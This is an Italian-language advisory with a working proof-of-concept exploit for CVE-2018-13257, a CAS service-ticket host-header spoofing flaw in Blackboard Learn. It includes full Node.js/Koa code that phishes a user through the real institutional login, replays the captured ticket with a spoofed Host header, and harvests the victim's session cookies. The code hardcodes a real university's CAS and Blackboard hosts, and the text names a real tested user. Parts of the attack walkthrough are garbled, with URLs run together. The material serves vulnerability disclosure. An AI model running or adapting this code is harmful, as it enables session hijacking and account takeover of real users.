
Exploit proof-of-concept per CVE-2018-13257 che dimostra lo spoofing dell'header host CAS in Blackboard Learn per dirottare le sessioni utente tramite un sito intermedio malevolo.
Un modulo di autenticazione all'interno di Blackboard Learn è suscettibile allo spoofing dell'intestazione host HTTP durante la validazione del service ticket del Central Authentication Service (CAS). Un ticket di servizio CAS è destinato a un solo servizio specifico, ma Blackboard Learn non verifica correttamente che questo servizio sia l'istanza corrente. Ciò consente un attacco di phishing in cui gli utenti credono di inserire i propri dati di single sign-on per un determinato sito web, mentre quel sito web malevolo utilizza invece il service ticket per autenticarsi come quell'utente presso un'istanza di Blackboard Learn.
Un attaccante imposterebbe attacker.example per autenticarsi come un altro utente presso un'istanza di Blackboard Learn su blackboard.example, che valida i ticket di servizio tramite cas.example.
I seguenti eventi si verificano quando un utente visita attacker.example.
https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=truecas.example. Molto probabilmente si fiderà poiché è la schermata di login standard della propria istituzione su un dominio attendibile. La pagina di login dirà che si stanno autenticando a attacker.example.attacker.example: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleattacker.example eseguirà ora una richiesta HTTP GET verso blackboard.example utilizzando il service ticket ottenuto nel passaggio precedente. La richiesta GET accederà a con un'intestazione host di: : Se attacker.example è un sito web di cui gli individui di un'istituzione si fidano regolarmente (es: la homepage dell'istituzione), il fatto che quel sito sia compromesso significherebbe che anche l'istanza di Blackboard Learn dell'istituzione è ragionevolmente compromessa con questa vulnerabilità.
Per evitare sospetti, attacker.example potrebbe reindirizzare l'utente alla pagina di login di sso.example dopo il passo 5 e svolgere da lì i compiti previsti per attacker.example. L'utente vedrebbe di dover premere "accedi" due volte, ma il reindirizzamento avviene abbastanza velocemente che l'utente non potrebbe essere sicuro di aver lasciato la pagina di login e di essere tornato.
Va notato che CVE-2017-18262 è distinto da questa vulnerabilità. CVE-2017-18262 è una vulnerabilità nella validazione di redirectTo. Questa vulnerabilità riguarda un difetto nel parametro URL service inviato all'endpoint di login di validazione.
Utilizzare CVE-2017-18262 per phishing delle credenziali richiede l'impostazione di un login fasullo che imiti l'aspetto di cas.example. Questa vulnerabilità si verifica direttamente su cas.example, ma richiede che l'utente visiti inizialmente attacker.example.
È stato testato contro lms.uconn.edu con brc15007 come utente spoofato. lms.uconn.edu è un'istanza di Blackboard Learn gestita da Blackboard Inc. ospitata su Amazon Web Services.
index.js
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')
const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`
const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'
const app = new Koa()
app.keys = [crypto.randomBytes(256)]
app.use(session(app))
app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))
const cas = FakeCas({
service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
server: CAS_SERVER
})
app.use(cas.fakeCredentialRequestor({
attackUrl: ticket =>
BLACKBOARD_INSTANCE +
VULNERABLE_ENDPOINT +
'&ticket=' + ticket
}))
app.use(async ctx => {
ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
ctx.session.cookieString
ctx.session = null
})
app.listen(3000)
lib/fake-cas.js
const https = require('https')
const fetch = require('isomorphic-fetch')
function createCASMiddleware (options = {}) {
const server = options.server
const service = options.service
const loginUrl = options.login || '/cas/login'
function fakeCredentialRequestor ({ attackUrl }) {
return async (ctx, next) => {
if (!ctx.session.cookieString && !ctx.request.query.ticket) {
const returnUrl = encodeURIComponent(service(ctx))
ctx.redirect(
server + loginUrl +
'?service=' + returnUrl +
'&renew=true')
return
}
if (ctx.request.query.ticket) {
const attack = attackUrl(ctx.request.query.ticket)
const res = await fetch(attack, {
headers: { 'host': ctx.request.host },
// rejectUnauthorized is required since we're spoofing the host
// header and ctx.request.host liekly won't be in the endpoint's HTTPS
// certificate.
agent: new https.Agent({ rejectUnauthorized: false })
})
const cookieString = res.headers._headers['set-cookie']
.map(cookie => cookie.match(/^(.*?);/)[1])
.map(cookie => `document.cookie = '${cookie}'`)
.join('\n')
ctx.session.cookieString = cookieString
console.log(cookieString)
ctx.status = 308
ctx.redirect('/')
return
}
await next()
}
}
return { fakeCredentialRequestor }
}
module.exports = createCASMiddleware
package.json
{
"private": true,
"main": "index.js",
"scripts": {
"dev": "nodemon index"
},
"devDependencies": {
"nodemon": "^1.17.5",
"standard": "^11.0.1"
},
"dependencies": {
"isomorphic-fetch": "^2.2.1",
"koa": "^2.5.1",
"koa-basic-auth": "^3.0.0",
"koa-session": "^5.8.1",
"query-string": "^5.0.1",
"xml2js": "^0.4.19"
}
}
ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.exampleattacker.examplehttps://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.exampleblackboard.example risponderà al backend di attacker.example con cookie che autenticano l'utente target presso l'istanza di Blackboard Learn.